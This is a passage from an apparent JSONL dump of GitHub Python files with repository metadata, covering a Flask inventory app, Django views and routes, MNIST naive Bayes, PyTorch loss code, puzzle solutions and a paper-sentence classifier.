inventory_new():\n    if request.method == \"POST\":\n        objectids = []\n        \n        newinv = Project(\n            project_name=request.form.get(\"name\"),\n            customerfk=2,\n            printerfk=request.form.get(\"printer\"),\n            filamentfk=request.form.get(\"filament\"),\n            shippingfk=3,\n            employeefk=1,\n            packaging=request.form.get(\"packaging\"),\n            advertising=request.form.get(\"advertising\"),\n            rent=request.form.get(\"rent\"),\n            extrafees=request.form.get(\"other\"),\n            ordernum=int(str(\"22\" + str(random.randint(1000, 9999)))),\n            active=1,\n            threshold = request.form.get('threshold'),\n            sale_price=request.form.get(\"sale_price\"),\n            current_quantity=0,\n            catagory=request.form.get(\"catagory\"),\n        )\n        db.session.add(newinv)\n        db.session.commit()\n        db.session.refresh(newinv)\n        \n        for i in range(1, 8):\n            gcodename = f\"gcode{i}\"\n            qtyname = f\"qty{i}\"\n            if request.files[gcodename].filename != \"\":\n                # Save uploaded file\n                gcodefile = invgcode.save(request.files[gcodename])\n\n                # process file for time and materials\n                basedir = os.path.abspath(os.path.dirname(__file__))\n                filepath = os.path.join(basedir, \"uploads\", gcodefile)\n\n                time_in_h, weight_in_kg = calc_time_length(filepath, request.form.get(\"filament\"))\n\n                # save file to db\n                newgcode = Printobject(\n                    file=gcodefile, \n                    h_printtime=time_in_h, \n                    kg_weight=weight_in_kg,\n                    qtyperprint = request.form.get(qtyname),\n                    projectid = newinv.id\n                    )\n                db.session.add(newgcode)\n                db.session.commit()\n                db.session.refresh(newgcode)\n                objectids.append(newgcode.id)\n\n        newinv.objectfk = objectids\n        db.session.commit()\n\n        \n\n        return redirect(url_for(\"inventory.inventory_details\", id=newinv.id))\n\n    catagory = db.session.query(distinct(Project.catagory), Project.catagory).all()\n    printers = db.session.query(Printer).filter(Printer.active).all()\n    filaments = db.session.query(Filament).filter(Filament.active).all()\n\n    context = {\n        \"user\": User,\n        \"printers\": printers,\n        \"filaments\": filaments,\n        \"catagory\": catagory,\n    }\n    return render_template(\"app/inventory/inventory_new.html\", **context)\n\n\n@inv.route(\"/details/<id>\")\n@login_required\ndef inventory_details(id):\n    inventory = db.session.query(Project).filter(Project.id == id).first()\n    objects = db.session.query(Printobject).filter(Printobject.projectid == id).all()\n\n    files = []\n    totalcost = 0\n    for obj in objects:\n        printobj = CalcCostInd(id, obj.id)\n        \n        filcost = printobj.filcost()\n        timecost = printobj.timecost()\n        miscost = printobj.misfees()\n        \n        thing = {}\n        thing['weight_kg'] = obj.kg_weight\n        thing['print_time'] = obj.h_printtime\n        thing['filename'] = obj.file\n        thing['qtyperprint'] = obj.qtyperprint\n        thing['filcost'] = filcost\n        thing['timecost'] = timecost\n        thing['printer'] = inventory.printer_rel.name\n        thing['filament_diameter'] = inventory.filament_rel.diameter\n        thing['filament_type'] = inventory.filament_rel.type_rel.type\n        files.append(thing)\n\n        if obj == objects[-1]:\n            totalcost = totalcost + filcost + timecost + miscost\n        else:\n            totalcost = totalcost + filcost + timecost\n    \n    context = {\n        \"user\": User,\n        \"action\": 1,\n        \"inventory\": inventory,\n        \"files\": files,\n        \"total_cost\": totalcost,\n        \"miscost\": miscost,\n    }\n    return render_template(\"app/inventory/inventory_details.html\", **context)\n\n\n@inv.route(\"/<filename>\", methods=[\"GET\", \"POST\"])\ndef download(filename):\n    filepath = os.path.join(os.path.abspath(os.path.dirname(__file__)), \"uploads\")\n\n    return send_from_directory(filepath, filename, as_attachment=True)\n\n\n@inv.route(\"/clean\")\ndef clean():\n    import fnmatch\n\n    filepath = os.path.join(os.path.abspath(os.path.dirname(__file__)), \"uploads\")\n    dbcount = Printobject.query.count()\n    filecount = len(fnmatch.filter(os.listdir(filepath), \"*.*\"))\n    if dbcount != filecount:\n        clean_inventory_uploads(filepath)\n    return redirect(url_for(\"inventory.inventory\"))\n\n@inv.route(\"/update\")\ndef update():\n    Update_Inventory_Qty()\n    return redirect(url_for(\"inventory.inventory\"))","repo_name":"iamrbtm/program","sub_path":"printing/templates/app/inventory/inventory.py","file_name":"inventory.py","file_ext":"py","file_size_in_byte":9366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5109768173","text":"from collections import deque\r\nimport copy\r\nimport sys\r\nsys.stdin = open('input.txt', 'r')\r\n\r\nN, M = map(int, input().split())\r\nroom = [list(map(int, input().split())) for _ in range(N)]\r\ndr = [0,0,-1,1]\r\ndc = [-1,1,0,0]\r\nmax = float('-inf')\r\ndef spread_virus():\r\n    global max\r\n    cnt = 0\r\n\r\n    que = deque()\r\n    visited = [[0] * M for _ in range(N)]\r\n    for i in range(len(virus)):\r\n        r, c = virus[i]\r\n        que.append([r,c])\r\n        visited[r][c] = 1\r\n    while que:\r\n        r, c = que.popleft()\r\n        for d in range(4):\r\n            nr = r + dr[d]\r\n            nc = c + dc[d]\r\n            if 0 <= nr < N and 0 <= nc < M and room[nr][nc] == 0 and not visited[nr][nc]:\r\n                visited[nr][nc] = 1\r\n                que.append([nr,nc])\r\n\r\n    for i in range(N):\r\n        for j in range(M):\r\n            if not visited[i][j] and room[i][j] == 0:\r\n                cnt += 1\r\n\r\n    if max < cnt:\r\n        max = cnt\r\n\r\n    return\r\n\r\ndef choose_wall(r,c,depth):\r\n    if depth == 3:\r\n        spread_virus()\r\n    else:\r\n        for i in range(r, N):\r\n            for j in range(c, M):\r\n                if room[i][j] == 0:\r\n                    room[i][j] = 9\r\n                    choose_wall(i,j,depth+1)\r\n                    room[i][j] = 0\r\n            c = 0\r\n\r\nvirus = []\r\n\r\nfor i in range(N):\r\n    for j in range(M):\r\n        if room[i][j] == 2:\r\n            virus.append([i,j])\r\n\r\n\r\nchoose_wall(0,0,0)\r\nprint(max)","repo_name":"seulshine/Alpygo","sub_path":"Algorithm/Python/연구소.py","file_name":"연구소.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"73276018568","text":"# PROBLEM 1: NAIVE BAYESIAN CLASSIFICATION USING GAUSSIAN ASSUMPTION\n\nfrom tensorflow.keras.datasets import mnist\nfrom sklearn.naive_bayes import GaussianNB\nimport numpy\n\n# loading training and test data\n(X_train, train_y), (X_test, test_y) = mnist.load_data()\n\n# initializing gaussian naive bayesian classifier\ngnb = GaussianNB()\nprint('NAIVE BAYESIAN CLASSIFIER')\n\n# flattening 28 x 28 element 2d array into 1d array to match gnb param requirements\ntrain_X = []\ntest_X = []\n\nfor i in range(len(X_train)):\n    train_X.append(X_train[i].flatten())\n\nfor i in range(len(X_test)):\n    test_X.append(X_test[i].flatten())\n\n# running bayesian classifier on training data\ny_train_pred = gnb.fit(train_X, train_y).predict(train_X)\n\nprint(\"TRAINING DATA - Num. mislabeled points: %d / %d\" %\n      ((train_y != y_train_pred).sum(), len(train_X)))\n\n# running bayesian classifier on test data\ny_test_pred = gnb.fit(train_X, train_y).predict(test_X)\n\nprint(\"TEST DATA - Num. mislabeled points: %d / %d\" %\n      ((test_y != y_test_pred).sum(), len(test_X)))\n","repo_name":"yzhang00/Python-ML-Project-1","sub_path":"naive_bayesian.py","file_name":"naive_bayesian.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20239608610","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n    # Projet individuel - Hugo\n    path('communautes/', views.communautes, name='communautes'),\n    path('communautes/<str:action>/<int:com_id>/', views.abonnement, name='abonnement'),\n    path('communaute/<int:com_id>/', views.communaute, name='communaute'),\n    path('post/<int:post_id>/', views.post, name='post'),\n    path('nouveau_post/', views.nouveau_post, name='nouveau_post'),\n    path('nouveau_post/<int:special_post>/<int:com_id>/', views.nouveau_post, name='nouveau_post_com'),\n    path('modif_post/<int:post_id>/', views.modif_post, name='modif_post'),\n    path('news_feed/', views.news_feed, name='news_feed'),\n    path('nouvelle_communaute/', views.nouvelle_communaute, name='nouvelle_communaute'),\n    path('', views.communautes, name='home'),\n\n    #Extension 1 - Come\n    path('communaute/<int:com_id>/<int:degre>/<int:event>/', views.communaute, name='communaute_filtered'),\n    path('post_like/<int:com_id>/<int:post_id>/', views.post_like, name='post_like'),\n    path('post_read/<int:com_id>/<int:post_id>/', views.post_read, name='post_read'),\n\n    #Extention 2 - Antoine\n\n    ## Actions sur Communaute\n    path('modif_communaute/<int:communaute_id>/', views.modif_communaute, name='modif_communaute'),\n    path('delete_communaute/<int:communaute_id>/', views.delete_communaute, name='delete_communaute'),\n    path('suspend_communaute/<int:com_id>/<int:action>/', views.suspend_communaute, name='suspend_communaute'),\n    path('open_close_communaute/<int:communaute_id>/', views.open_close_communaute, name='open_close_communaute'),\n\n    ## Actions sur Post\n    path('visibility_post/<int:post_id>/', views.visibility_post, name='visibility_post'),\n    path('nouveau_post/<int:special_post>/<int:com_id>/', views.nouveau_post, name='nouveau_special_post'),\n    path('delete_post/<int:post_id>/', views.delete_post, name='delete_post'),\n    path('sticky_modify_post/<int:post_id>/', views.sticky_modify_post, name='sticky_modify_post'),\n\n    ## Actions sur Commentaire\n    path('visibility_comment/<int:commentaire_id>/', views.visibility_comment, name='visibility_comment'),\n\n    #Extention 4 - Hugo\n    path('calendrier/<int:com_id>/<int:prio_deg>/<int:j_d>/<int:m_d>/<int:y_d>/<int:j_f>/<int:m_f>/<int:y_f>/'\n         , views.calendrier, name='calendrier'),\n    path('advanced_search/', views.advanced_search, name='recherche_avancee'),\n\n]\n\n","repo_name":"hmiranda-queiros/Django_Project","sub_path":"communitymanager/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40100736722","text":"# Definition for singly-linked list.\n# class ListNode:\n#     def __init__(self, val=0, next=None):\n#         self.val = val\n#         self.next = next\nclass Solution:\n    def insertionSortList(self, head: ListNode) -> ListNode:\n        dummy = ListNode(0)\n        pre = dummy\n        node = head\n        while node:\n            cur = node\n            node = node.next\n            if cur.val < pre.val:\n                pre = dummy\n            while pre.next and cur.val > pre.next.val:\n                pre = pre.next\n            cur.next = pre.next\n            pre.next = cur\n            \n        return dummy.next\n","repo_name":"Abdelhamid-bouzid/problem-Sovling-","sub_path":"Medium/insertionSortList.py","file_name":"insertionSortList.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"29423359983","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.contrib.auth import authenticate, login\nfrom django.contrib.auth.decorators import login_required\nfrom .forms import LoginForm,  UserRegistrationForm, UserEditForm, ProfileEditForm, NewPost, EventUserForm\n\nfrom .models import Profile, UserPost, EventUser\n\n\ndef user_login(request):\n    if request.method == 'POST':\n        form = LoginForm(request.POST)\n        if form.is_valid():\n            cd = form.cleaned_data\n            user = authenticate(request,\n                                username=cd['username'],\n                                password=cd['password'])\n            if user is not None:\n                if user.is_active:\n                    login(request, user)\n                    return HttpResponse('Аутентификация успешна')\n                else:\n                    return HttpResponse('Аккаунт отключен')\n            else:\n                return HttpResponse('Неверный логин или пароль')\n    else:\n        form = LoginForm()\n        return render(request, 'account/login.html', {'form': form})\n\ndef register(request):\n    if request.method == 'POST':\n        user_form = UserRegistrationForm(request.POST)\n        if user_form.is_valid():\n            # Создаем нового пользователя, но пока не сохраняем в базу данных.\n            new_user = user_form.save(commit=False)\n            # Задаем пользователю зашифрованный пароль.\n            new_user.set_password(user_form.cleaned_data['password'])\n            # Сохраняем пользователя в базе данных.\n            new_user.save()\n            # Создание профиля пользователя.\n            Profile.objects.create(user=new_user).save()\n\n            return render(request, 'account/register_done.html', {'new_user': new_user})\n    else:\n        user_form = UserRegistrationForm()\n        return render(request, 'account/register.html', {'user_form': user_form})\n\n@login_required\ndef profile(request):\n    if request.method == 'POST':\n        my_post = NewPost(request.POST)\n        my_post = my_post.save(commit=False)\n        my_post.user = request.user\n        my_post.save()\n    M_posts = UserPost.objects.all().filter(user=request.user).order_by('-pk')\n    M_profile = Profile.objects.get(user=request.user)\n    return render(request, 'account/profile.html', {'section': 'profile', 'profile': M_profile, 'posts':  M_posts, 'post_form': NewPost()})\n\n\n@login_required\ndef edit(request):\n    if request.method == 'POST':\n        user_form = UserEditForm(instance=request.user, data=request.POST)\n        profile_form = ProfileEditForm(instance=request.user.profile, data=request.POST, files=request.FILES)\n        if user_form.is_valid() and profile_form.is_valid():\n            user_form.save()\n            profile_form.save()\n    else:\n        user_form = UserEditForm(instance=request.user)\n        profile_form = ProfileEditForm(instance=request.user.profile)\n    return render(request, 'account/edit.html', {'user_form': user_form, 'profile_form': profile_form})\n\n\n@login_required\ndef post_delete(request, pk):\n    if request.method == 'POST':\n        post = get_object_or_404(UserPost, pk=pk, user=request.user)\n        post.delete()\n        return redirect('/account')\n\n@login_required\ndef new_user_event(request):\n    if request.method == 'POST':\n        my_event = EventUserForm(request.POST)\n        if my_event.is_valid():\n            my_event = my_event.save(commit=False)\n            my_event.user = request.user\n            my_event.save()","repo_name":"kda2019/new_rep","sub_path":"studworld/account/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12591938515","text":"import torch\n\nparameter = {\n    'min_count_word': 1,\n    'output_size': 15,\n    'epoch': 20,\n    'batch_size': 10,\n    'embedding_dim': 300,\n    'hidden_size': 128,\n    'num_layers': 2,  # 堆叠LSTM的层数，默认值为1\n    'dropout': 0.5,\n    'cuda': torch.device('cuda' if torch.cuda.is_available() else 'cpu'),\n    'lr': 0.001,\n    'num_unknow': 0,\n    'max_len': 20,\n    'data_path': 'data/classfication.csv',\n    'embedding_path': 'data/chinese_wiki_embeding8000.300d.txt',\n    'src_path': 'data/src.pkl',\n    'train_data_path': 'data/train_data.pkl',\n    'valid_data_path': 'data/valid_data.pkl'\n}\n","repo_name":"xuyouqian/Knowledge-Graph-Demo_00","sub_path":"意图识别_01/parameter.py","file_name":"parameter.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"16"}
+{"seq_id":"24178357534","text":"from __future__ import absolute_import\n\nimport torch\nfrom torch import nn\n\nfrom reid.evaluator import accuracy\n\n\nclass PairLoss(nn.Module):\n    def __init__(self):\n        super(PairLoss, self).__init__()\n\n        # self.sigmod = nn.Sigmoid()\n        self.BCE = nn.BCELoss()\n        self.BCE.size_average = True\n        self.device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n    def forward(self, score, tar_probe, tar_gallery):\n        cls_Size = score.size()  # torch.Size([4, 2])\n        N_probe = cls_Size[0]  # 4\n        N_gallery = cls_Size[0]\n\n        tar_gallery = tar_gallery.unsqueeze(1)  # 6,1   tensor([[ 94],[ 10],[ 15],[ 16],[ 75],[ 39]])\n        tar_probe = tar_probe.unsqueeze(0)  # 1,6 tensor([[ 94,  10,  15,  16,  75,  39]])\n        mask = tar_probe.expand(N_probe, N_gallery).eq(tar_gallery.expand(N_probe, N_gallery))\n        mask = mask.view(-1).cpu().numpy().tolist()\n        # [1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1]\n\n        score = score.contiguous()  # torch.Size([4, 4])\n        samplers = score.view(-1)  # torch.Size([16])\n\n        # samplers = self.sigmod(samplers)\n        # labels = Variable(torch.Tensor(mask).cuda())\n        labels = torch.Tensor(mask).to(self.device)\n\n        loss = self.BCE(samplers, labels)\n\n        samplers_data = samplers.data  # torch.Size([36])\n        samplers_neg = 1 - samplers_data\n        samplerdata = torch.cat((samplers_neg.unsqueeze(1), samplers_data.unsqueeze(1)), 1)  # torch.Size([36, 2])\n\n        labeldata = torch.LongTensor(mask).to(self.device)\n        prec, = accuracy(samplerdata, labeldata)\n\n        return loss, prec\n","repo_name":"flysnowtiger/GRL","sub_path":"reid/loss/pairloss.py","file_name":"pairloss.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"16"}
+{"seq_id":"11395811096","text":"def solve(data):    \r\n    for n, d in enumerate(data):\r\n        cont = False\r\n        if n > 24:\r\n            for e in data[n-25:n]:\r\n                for f in data[n-25:n]:\r\n                    if e + f == d and e != f:\r\n                        cont = True\r\n                        break\r\n                if cont:\r\n                    break\r\n            if not cont:            \r\n                #print(f'{d}\\n')\r\n                return d\r\n    return True \r\n\r\ndef solve2(failnum, data):\r\n    failn = failnum\r\n    contrange = []\r\n    contsum = 0\r\n    for n, d in enumerate(data):\r\n        contrange.clear()\r\n        failn -= d\r\n        contsum += d\r\n        pos = n   \r\n        contrange.append(d)\r\n        while failn > 0:\r\n            pos += 1\r\n            failn -= data[pos]\r\n            contrange.append(data[pos])\r\n            if failn == 0:\r\n                return min(contrange), max(contrange)\r\n            elif failn < 0:\r\n                failn = failnum\r\n                break\r\n\r\ndef getdata(filename):\r\n    with open(filename) as f:\r\n        nums = [ int(n.strip()) for n in f.readlines()]\r\n        return nums       #rows in file to list items\r\n    \r\n        \r\nif __name__ == '__main__':\r\n    data = (getdata('data_d9.txt'))\r\n    test = (getdata('test_d9.txt'))\r\n    fn = solve(data)\r\n    print(fn)\r\n    low, high = solve2(fn, data)\r\n    print(f'low {low} + high {high} = {low + high}')\r\n","repo_name":"r0ttan/AoC2020","sub_path":"day9.py","file_name":"day9.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6808997949","text":"import warnings\nfrom flask import Flask, jsonify, request\nfrom traffic_lights.inference.predict import load_model, predict_from_bytes\n\nTEMP_MODAL_PATH = \"/tmp/tlr_model.pth\"\n\n\napp = Flask(__name__)\n\n\n@app.before_first_request\ndef before_first_request():\n    print(\"Loading the model...\")\n    warnings.filterwarnings(\"ignore\")\n    global model, device\n    model, device = load_model(TEMP_MODAL_PATH)\n    print(\"Model loaded.\")\n\n\n@app.route(\"/\")\ndef entry():\n    return (\n        \"Traffic Light recognition using Pytorch. POST an image to /predict to try it\"\n    )\n\n\n@app.route(\"/predict\", methods=[\"POST\"])\ndef predict_image():\n    if request.method == \"POST\":\n        file = request.files[\"file\"]\n        img_bytes = file.read()\n        if model is None or device is None:\n            raise Exception(\"Model or device not found\")\n        prediction = predict_from_bytes(img_bytes, model, device)\n        result = jsonify(prediction)\n        result.status_code = 200\n    return result\n\n\nif __name__ == \"__main__\":\n    app.run()\n","repo_name":"aidandunlop/traffic_light_recognition","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"16"}
+{"seq_id":"32469397528","text":"from django.db import models\nfrom django.contrib.auth.models import User\nimport json\n\n# Create your models here.\nclass TrafficImages(models.Model):\n    image = models.FileField()\n    file_name = models.CharField(max_length=250, null=True, blank=True)\n    user = models.ForeignKey(User, related_name='uploaded_images', on_delete=models.CASCADE, null=True)\n    created_at = models.DateTimeField(auto_now_add=True, null=True)\n\nclass ImageAnnotations(models.Model):\n    image = models.ForeignKey(TrafficImages, on_delete=models.CASCADE, related_name='annotations')\n    user = models.ForeignKey(User, related_name='user_annotations', on_delete=models.CASCADE)\n    annotations = models.TextField(null=True, blank=True) # will save as json\n    created_at = models.DateTimeField(auto_now_add=True)\n    updated_at = models.DateTimeField(null=True, blank=True)\n\n    def __str__(self):\n        return \"%s %s\" %(self.image, self.user)\n\n    @property\n    def annotation_json(self):\n        try:\n            return json.loads(self.annotations)\n        except:\n            return {}\n\n    @property\n    def annotation_string(self, annotation_obj):\n        try:\n            self.annotations = json.dumps(annotation_obj)\n        except Exception:\n            self.annotations = ''\n\n        return self.annotations\n\n","repo_name":"kishorkumarj/SmartCowAssignment","sub_path":"image-annotation-server/image_annotation/annotation_app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28726104001","text":"import json\nimport os\nimport re\nfrom collections import defaultdict\nfrom typing import List, Union\n\nimport spacy\nfrom spacy.symbols import PRON, VERB\n\nfrom paper import RhetoricUnit, S2OrcPaper, SPPPaper\n\nnlp = spacy.load(\"en_core_web_md\")\n\n\nclass LexicalSet:\n    def __init__(self):\n        self.lexical_set = {\n            \"we\": [\"our\", \"present study\", \"this paper\", \"this work\", \"this research\"],\n            \"previous\": [\"previously\", \"recent\", \"recently\"],\n            \"thus\": [\"therefore\"],\n            \"aim\": [\"objective\", \"goal\", \"purpose\", \"objectives\", \"goals\", \"purposes\"],\n            \"question\": [\"questions\", \"hypothesis\", \"hypotheses\"],\n            \"investigate\": [\n                \"explore\",\n                \"study\",\n                \"test\",\n                \"examine\",\n                \"evaluate\",\n                \"assess\",\n                \"determine\",\n                \"characterize\",\n                \"analyze\",\n                \"report\",\n                \"seek\",\n                # \"present\",\n            ],\n            \"use\": [\"employ\"],\n            \"method\": [\"algorithm\", \"assay\"],\n            \"observe\": [\"we see\", \"find\", \"show\"],\n            \"conclude\": [\"conclusion\", \"summarize\", \"summary\"],\n            \"suggest\": [\n                \"illustrate\",\n                \"demonstrate\",\n                \"imply\",\n                \"indicate\",\n                \"confirm\",\n                \"reflect\",\n                \"support\",\n                \"prove\",\n                \"reveal\",\n            ],\n            \"because\": [\"result from\", \"attribute to\"],\n            \"likely\": [\"probable\", \"probably\", \"possible\", \"possibly\", \"may\", \"could\"],\n            \"need\": [\"remain\"],\n            \"future\": [\"further\"],\n            \"consistent\": [\n                \"match\",\n                \"agree\",\n                \"support\",\n                \"in line\",\n                \"in agreement\",\n                \"similar\",\n                \"same\",\n                \"analogous\",\n            ],\n            \"inconsistent\": [\n                \"conflicting\",\n                \"conflict\",\n                \"contrast\",\n                \"contrary\",\n                \"differ\",\n                \"different\",\n                \"difference\",\n                \"unlike\",\n            ],\n            \"than\": [\"compare\"],\n            \"however\": [\"other hand\", \"although\", \"though\", \"but\", \"while\", \"despite\"],\n            \"extend\": [\"extension\", \"extends\"],\n            \"contribution\": [\"contributions\", \"contribute\", \"contributes\"],\n        }\n\n    def get_roots(self):\n        return self.lexical_set.keys()\n\n    def get_aliases(self, root):\n        return self.lexical_set.get(root, [])\n\n\nclass AZClassifier:\n    def __init__(self, json_file_path: str, dataset: str):\n        self.json_file_path = json_file_path\n        self.dataset = dataset\n\n        self.id = os.path.splitext(os.path.basename(json_file_path))[0]\n\n        if dataset == \"s2orc\":\n            self.paper = S2OrcPaper(json_file_path)\n        elif dataset == \"spp\":\n            self.paper = SPPPaper(json_file_path, \"detect\")\n        elif dataset == \"spp-cermine\":\n            self.paper = SPPPaper(json_file_path, \"cermine\")\n\n        self.lexical_set = LexicalSet()\n\n    def _sentence_contains_root_or_aliases(\n        self, sentence: str, roots: Union[str, List[str]]\n    ):\n        if isinstance(roots, str):\n            roots = [roots]\n        sentence = sentence.lower().strip()\n        found = []\n        for root in roots:\n            aliases = self.lexical_set.get_aliases(root)\n            for token in [root, *aliases]:\n                if re.search(r\"\\b{}\\b\".format(token), sentence):\n                    found.append(token)\n        return found\n\n    def _has_section(self, aliases: List[str]):\n        for section in self.paper.sections:\n            for a in aliases:\n                if a in section.lower():\n                    return True\n        return False\n\n    def _is_in_introduction(self, sentence: str):\n        section_found = self.paper.get_section_for_sentence(sentence)\n        section_found = section_found.lower()\n        return \"introduction\" in section_found\n\n    def _is_in_conclusion(self, sentence: str):\n        section_found = self.paper.get_section_for_sentence(sentence)\n        section_found = section_found.lower()\n        aliases = [\"conclusion\", \"concluding\"]\n        return any(a in section_found for a in aliases)\n\n    def _is_in_discussion(self, sentence: str):\n        section_found = self.paper.get_section_for_sentence(sentence)\n        section_found = section_found.lower()\n        return \"discussion\" in section_found\n\n    def _is_in_related_work(self, sentence: str):\n        section_found = self.paper.get_section_for_sentence(sentence)\n        section_found = section_found.lower()\n        aliases = [\"related work\", \"background\", \"relatedwork\"]\n        return any(a in section_found for a in aliases)\n\n    def _is_in_future_work(self, sentence: str):\n        section_found = self.paper.get_section_for_sentence(sentence)\n        section_found = section_found.lower()\n        aliases = [\"future work\"]\n        return any(a in section_found for a in aliases)\n\n    def _is_in_result(self, sentence: str):\n        section_found = self.paper.get_section_for_sentence(sentence)\n        section_found = section_found.lower()\n        aliases = [\"result\", \"evaluation\", \"finding\", \"study\", \"experiment\"]\n        return any(a in section_found for a in aliases)\n\n    def _is_in_method(self, sentence: str):\n        section_found = self.paper.get_section_for_sentence(sentence)\n        section_found = section_found.lower()\n        aliases = [\"method\", \"system\"]\n        return any(a in section_found for a in aliases)\n\n    def _is_in_expected_section(self, sentence: str, label: str):\n        if label == \"contribution\":\n            return self._is_in_introduction(sentence)\n        elif label == \"objective\":\n            return self._is_in_introduction(sentence) or self._is_in_conclusion(\n                sentence\n            )\n        elif label == \"novelty\":\n            return self._is_in_related_work(sentence) or self._is_in_introduction(\n                sentence\n            )\n        elif label == \"result\":\n            return (\n                self._is_in_introduction(sentence)\n                or self._is_in_result(sentence)\n                or self._is_in_discussion(sentence)\n                or self._is_in_conclusion(sentence)\n            )\n        elif label == \"conclusion\":\n            return self._is_in_conclusion(sentence) or self._is_in_discussion(sentence)\n        elif label == \"future work\":\n            return (\n                self._is_in_introduction(sentence)\n                or self._is_in_conclusion(sentence)\n                or self._is_in_discussion(sentence)\n                or self._is_in_future_work(sentence)\n            )\n        elif label == \"method\":\n            return not (\n                self._is_in_related_work(sentence)\n                or self._is_in_result(sentence)\n                or self._is_in_future_work(sentence)\n                or self._is_in_discussion(sentence)\n            )\n        else:\n            return False\n\n    def detect_contribution(self):\n        print(\"=== Contribution ===\")\n        detected = []\n        for sent_bbox_obj in self.paper.sentences:\n            sentence = sent_bbox_obj.text\n            bboxes = sent_bbox_obj.bboxes\n            found = self._sentence_contains_root_or_aliases(sentence, [\"contribution\"])\n\n            if not found:\n                continue\n\n            section = self.paper.get_section_for_sentence(sentence)\n            is_author_statement = (\n                len(self._sentence_contains_root_or_aliases(sentence, \"we\")) > 0\n            )\n            is_in_expected_section = self._is_in_expected_section(\n                sentence, \"contribution\"\n            )\n            rhetoric_unit = RhetoricUnit(\n                text=sentence,\n                label=\"Contribution\",\n                bboxes=bboxes,\n                section=section,\n                prob=None,\n                is_author_statement=is_author_statement,\n                is_in_expected_section=is_in_expected_section,\n            )\n            detected.append(rhetoric_unit)\n        return detected\n\n    def detect_objective(self):\n        print(\"=== Objective ===\")\n        detected = []\n        for sent_bbox_obj in self.paper.sentences:\n            sentence = sent_bbox_obj.text\n            bboxes = sent_bbox_obj.bboxes\n            aim_noun_found = self._sentence_contains_root_or_aliases(\n                sentence, [\"aim\", \"question\"]\n            )\n            aim_verb_found = self._sentence_contains_root_or_aliases(\n                sentence, [\"investigate\"]\n            )\n\n            if not aim_noun_found and not aim_verb_found:\n                continue\n\n            # only consider when contribution roots and alises are verbs\n            doc = nlp(sentence.lower())\n            keep_aim_tokens = []\n            for token in doc:\n                if token.pos_ != VERB:\n                    continue\n                if token.text in aim_verb_found:\n                    keep_aim_tokens.append(token)\n            aim_found = aim_noun_found + keep_aim_tokens\n\n            if not aim_found:\n                continue\n\n            section = self.paper.get_section_for_sentence(sentence)\n            is_author_statement = (\n                len(self._sentence_contains_root_or_aliases(sentence, \"we\")) > 0\n            )\n            is_in_expected_section = self._is_in_expected_section(sentence, \"objective\")\n            rhetoric_unit = RhetoricUnit(\n                text=sentence,\n                label=\"Objective\",\n                bboxes=bboxes,\n                section=section,\n                prob=None,\n                is_author_statement=is_author_statement,\n                is_in_expected_section=is_in_expected_section,\n            )\n            detected.append(rhetoric_unit)\n        return detected\n\n    def detect_novelty(self):\n        print(\"=== Novelty ===\")\n        detected = []\n        for sent_bbox_obj in self.paper.sentences:\n            sentence = sent_bbox_obj.text\n            bboxes = sent_bbox_obj.bboxes\n            found = self._sentence_contains_root_or_aliases(\n                sentence, [\"inconsistent\", \"however\", \"extend\"]\n            )\n\n            if not found:\n                continue\n\n            section = self.paper.get_section_for_sentence(sentence)\n            is_author_statement = (\n                len(self._sentence_contains_root_or_aliases(sentence, \"we\")) > 0\n            )\n            is_in_expected_section = self._is_in_expected_section(sentence, \"novelty\")\n            rhetoric_unit = RhetoricUnit(\n                text=sentence,\n                label=\"Novelty\",\n                bboxes=bboxes,\n                section=section,\n                prob=None,\n                is_author_statement=is_author_statement,\n                is_in_expected_section=is_in_expected_section,\n            )\n            detected.append(rhetoric_unit)\n        return detected\n\n    def detect_result(self):\n        print(\"=== Result ===\")\n        detected = []\n        for sent_bbox_obj in self.paper.sentences:\n            sentence = sent_bbox_obj.text\n            bboxes = sent_bbox_obj.bboxes\n            found = self._sentence_contains_root_or_aliases(sentence, [\"observe\"])\n\n            if not found:\n                continue\n\n            section = self.paper.get_section_for_sentence(sentence)\n            is_author_statement = (\n                len(self._sentence_contains_root_or_aliases(sentence, \"we\")) > 0\n            )\n            is_in_expected_section = self._is_in_expected_section(sentence, \"result\")\n            rhetoric_unit = RhetoricUnit(\n                text=sentence,\n                label=\"Result\",\n                bboxes=bboxes,\n                section=section,\n                prob=None,\n                is_author_statement=is_author_statement,\n                is_in_expected_section=is_in_expected_section,\n            )\n            detected.append(rhetoric_unit)\n        return detected\n\n    def detect_conclusion(self):\n        print(\"=== Conclusion ===\")\n        detected = []\n        for sent_bbox_obj in 